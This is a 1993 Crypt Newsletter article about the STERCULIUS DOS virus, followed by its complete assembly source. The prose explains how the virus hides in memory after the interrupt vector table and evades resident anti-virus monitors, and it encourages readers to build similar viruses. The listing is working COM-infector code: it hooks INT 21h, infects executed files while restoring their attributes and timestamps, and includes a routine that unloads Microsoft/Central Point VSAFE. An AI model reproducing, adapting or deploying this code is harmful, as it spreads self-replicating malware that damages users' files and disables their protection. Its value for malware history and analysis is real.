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STERCULIUS virus: copying a virus into the air in the interrupt
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vector table - for CRYPT NEWSLETTER 18.
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The STERCULIUS virus uses the 'hole' in DOS's memory that is
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found after the interrupt vector table located at 0000:0000 in memory.
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This hole in memory is unused much of the time and is filled with
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'00''s, or "air", starting at 0000:01E0.
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Using the MS-DOS program DEBUG we can take a quick look at this
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empty space by typing the command:
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DEBUG
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d 0000:01e0
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And we see:
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0000:01E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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0000:01F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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0000:0200 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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0000:0210 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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0000:0220 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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0000:0230 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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0000:0240 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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0000:0250 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
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Not much of anything!
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The LoveChild virus uses the same space and if it were present
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in memory (not likely, as it barely works under DOS 3.3),
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you'd see something like "v2 LoveChild in reward for software
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sealing [sic]" or some similar gibber in the above display.
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Sterculius copies itself to segment:offset 0000:01E0 in memory,
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right next to the end of the data in the interrupt vector table,
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like LoveChild and if we fire up DEBUG again once the virus
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is in memory:
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0000:01E0 E8 0A 00 53 54 45 52 43-55 4C 49 55 53 5E 83 EE ...STERCULIUS^..
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0000:01F0 03 56 FC 83 C6 55 90 BF-00 01 A5 A5 5E 33 C0 8E .V...U......^3..
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0000:0200 C0 BF E0 01 26 81 7D 03-53 54 74 1E B9 08 01 90 ....&.}.STt.....
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0000:0210 F3 A4 BE 84 00 8E D8 A5-A5 BF E0 01 83 C7 63 90 ..............c.
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0000:0220 FA 89 7C FC 89 44 FE FB-0E 1F 0E 07 BE 00 01 56 ..|..D.........V
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0000:0230 C3 E9 00 00 53 4D 5A 63-01 9C 2E FF 1E E8 02 C3 ....SMZc........
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0000:0240 E9 A4 00 80 FC 4B 75 F8-50 53 51 52 1E 06 56 57 .....Ku.PSQR..VW
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0000:0250 55 9C B8 00 43 E8 E1 FF-51 1E 52 33 C9 B8 01 43 U...C...Q.R3...C
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Four!
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Without the marker, "STERCULIUS," the virus would be difficult
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for the user to see in memory for a couple of reasons:
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1) Very few people actually know what system memory in the interrupt
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table looks like normally,
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2) It is not a place any of the current memory spies tell you to look for
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viruses.
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IF you scan up the rest of the table you will see the remainder of the
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virus and about once again as much free space left.
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That means you can fit about a 300+ byte virus into this space, plenty
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of room for lots of extra code.
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If you look again at the DEBUG dump you will see "MZ" -
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that is DEBUG's EXEfile identifier - the first word Sterculius pulls off of
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any executed program to check if it's a suitable candidate for infection.
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Sterculius stores the word and in the case of DEBUG, lets the program pass by.
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If a .COMfile had just been loaded, the original program's jump would
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be occupying that space.
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Clear?
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Now you can follow this example to make memory resident viruses that occupy
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that 'hole' in memory next to the interrupt vector table.
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Viruses using this method of residence aren't detected by
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98% of the anti-virus guards - or virus filters - specifically designed
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to detect programs which go resident. This is odd, since the technique
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isn't particularly new. However, one or two anti-virus manufacturers
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have taken steps in this direction, coding their memory filters so
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that some of their code occupies the same general area that a virus
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like STERCULIUS might use. Then again, these developers have to
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deal with users who may have memory management drivers which muck
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about in the same space. You see, there are always trade-offs
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in this kind of work.
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Try STERCULIUS with Central Point, Microsoft Anti-virus, something dumb
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like INVIRCBLE, or just about any TYPICAL resident monitor.
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STERCULIUS also contains the "casual" anti-anti-virus measure, VSLAY,
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which will under optimum conditions, deinstall the Microsoft Anti-virus
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resident filter.
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Interesting!
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Many lazy people have grown fond of McAfee Associates PROVIEW, too.
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It's good for checking up on viruses in memory because it puts a
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big <UNKNOWN> message on the screen when a virus is taking up space at
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the top of conventional RAM.
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You won't see STERCULIUS using this technique, nor will a look at where
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INT 21 is pointing under PROVIEW tell the dilettante much.
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Proview will show you the interrupt is still pointing into the table, where
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it belongs.
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You'll have to look close to see that the original address has changed!
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STERCULIUS has been tested under QEMM 7.0 and QEMM 6.0 but there is
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always the probability that it will crash on other multi-tasking systems
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which use other memory managers.
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Often, you see, they use the space where STERCULIUS resides.
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If this is the case, they system will hang when STERCULIUS invades it.
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You can alter this behavior by looking at the interrupt vector table on your
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system and altering where STERCULIUS copies itself into memory by moving
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the virus up in RAM.
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Also, this method of residency has an indirect benefit.
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STERCULIUS can't be properly DEBUGGED by ZD86 because they conflict
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over the same memory space.
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STERCULIUS infects COMMAND.COM quite easily and doesn't interfere
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with boot up. However, since COMMAND.COM overwrites the space
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STERCULIUS is using at boot time, the virus is expunged from memory
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on completion of system installation. Shelling anytime thereafter
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reinstalls the virus. Reloading the transient portion of COMMAND.COM
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doesn't interfere with the virus either.
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$
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;**************************************
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; STERCULIUS VIRUS
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;
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; AUTHORS: K<>hntark / Urnst Kouch
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; DATE: SEPTEMBER 1993
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;
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;**************************************
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.model tiny
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.code
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org 100h
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START:
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db 0E9h,03,00,'S' ;Jump to Virus_Entry
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FAKE_HOST:
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int 20h ;host file terminate
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VIRUS_ENTRY:
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call INITIALIZE
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ID: db 'STERCULIUS' ;The Roman god of feces
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;intellectual property of Mike
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INITIALIZE: ;Judge, sort of, and if this
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pop si ;means nothing to you, then you're
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sub si,3 ;not paying attention
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;*****************
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; Restore host
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;*****************
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push si
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cld
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add si,OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
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mov di,0100h
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movsw
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movsw
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pop si
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;***************************
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; Remove MSAV / CPAV VSAFE ;<---VSLAY, Crypt Newsletter 15 [ref]
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;***************************
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mov dx,5945h
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mov ax,0FA01h ;AL=01 very important!
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int 21h
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;***************************
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; Check if already resident
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;***************************
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xor ax,ax
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mov es,ax
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mov di,01E0h
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cmp WORD PTR es:[di + 3],'TS'
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je EXIT
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mov cx,ZIZE
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rep movsb ;move virus to 0000:01E0 from ds:si
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;***********************
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; Mov INT 21 address
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;***********************
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mov si,21h * 4
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mov ds,ax ;ds=0
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movsw ;from ds:si to es:di
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movsw
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;***********************
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; Hook INT 21
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;***********************
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mov di,01E0h
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add di,OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY
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cli ;disable interrupts
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mov WORD PTR [si - 4],di ;address of INT 21 handler
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mov WORD PTR [si - 2],ax
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sti ;enable interrupts
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push cs
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pop ds
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EXIT: push cs
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pop es
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mov si,0100h
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push si
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;push 0100h ;386 code left out
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ret ;return to host
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;----------------------------------------------------------------------------
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NEW_HOST_ENTRY:
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db 0E9h,00,00,'S'
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HOST_STUB:
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db 090h,090h,090h,090h ;nops
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INT_21:
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pushf
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call DWORD PTR cs:[REALL_INT_21]
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ret
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QUICK_EXIT: jmp QUICK_OUT
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;----------------------------------------------------------------------------
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INT_21_HANDLER:
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cmp ah,4Bh ;execute a file?
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jne QUICK_EXIT ;quick exit handler
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push ax
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push bx
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push cx
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push dx
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push ds
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push es
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push si
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push di
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push bp
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pushf
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;***********************
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; Save Attributes
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;***********************
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mov ax,4300h
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call INT_21
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jc SKIP
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push cx ;save attributes to stack
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push ds
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push dx ;ds:dx = pathname to file
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;***********************
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; Klear Attributes
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;***********************
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xor cx,cx
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mov ax,4301h
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call INT_21
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SKIP: jc RESTORE_ATTRIBUTES
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;***********************
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; Open File
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;***********************
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mov ax,3D02h
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call INT_21
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jc RESTORE_ATTRIBUTES
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xchg bx,ax ;file handle to bx
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;***********************
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; Save Date & time
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;***********************
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mov ax,5700h
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call INT_21
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push dx ;save date
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push cx ;save time
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;***********************
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; Read 4 bytes
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;***********************
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mov cx,04 ;# of bytes to read
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mov dx,HOST_STUBB ;buffer to read 4 bytes to
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mov si,dx
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mov ah,3Fh
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push cs
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pop ds ;ds=cs
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call INT_21 ;read to ds:dx
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jc CLOSE_FILE
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;***********************
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; Check File
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;***********************
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cmp WORD PTR [si],'ZM' ;EXE file?
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je CLOSE_FILE
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cmp BYTE PTR [si + 3],'S' ;infected COM file?
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je CLOSE_FILE
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;***********************
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; File PTR @EOF
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;***********************
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mov ax,4202h
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xor cx,cx
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cwd ;cx = dx = 00
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call INT_21
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sub ax,03 ;fix file size
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xchg bp,ax ;address to jump to
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add ax,ZIZE ;file + VIRUS SIZE > 64K?
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jc CLOSE_FILE ;exit if so
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;***********************
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; Write Virus
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;***********************
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mov ah,40h
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mov cx,ZIZE ;cx = #of bytes
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mov dx,01E0h ;dx = write from here
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call INT_21
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;***********************
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; Set PTR @BOF
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;***********************
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mov ax,4200h
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xor cx,cx
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cwd ;cx = dx = 00
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call INT_21
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;***********************
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; Write new jump
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;***********************
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mov ah,40h
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mov cx,4 ; # of bytes to write
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mov dx,NEW_HOST_ENTRYY ;dx = write from here
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mov si,dx
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mov WORD PTR [si + 1],bp ;insert new address
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call INT_21
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CLOSE_FILE:
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;***********************
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; Restore Date & time
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;***********************
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pop cx ;restore time
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pop dx ;restore date
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mov ax,5701h
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call INT_21
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;***********************
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; Klose File
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;***********************
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mov ah,3Eh
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call INT_21
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;***********************
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; Restore Attributes
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;***********************
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RESTORE_ATTRIBUTES:
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mov ax,4301h
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pop dx ;ds:dx = pathname to file
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pop ds ;restore pathname
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pop cx ;restore old attributes
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call INT_21
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;***********************
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; Restore registers
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;***********************
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EXIT_HANDLER:
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popf
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pop bp
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pop di
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pop si
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pop es
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pop ds
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pop dx
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pop cx
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pop bx
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pop ax
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QUICK_OUT: db 0EAh ; jmp OFFSET:SEGMENT
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END_VIRUS:
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REAL_INT_21:
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ZIZE equ OFFSET END_VIRUS - VIRUS_ENTRY
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REALL_INT_21 equ 01E0h + OFFSET REAL_INT_21 - OFFSET VIRUS_ENTRY
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HOST_STUBB equ 01E0h + OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
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NEW_HOST_ENTRYY equ 01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY
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END START
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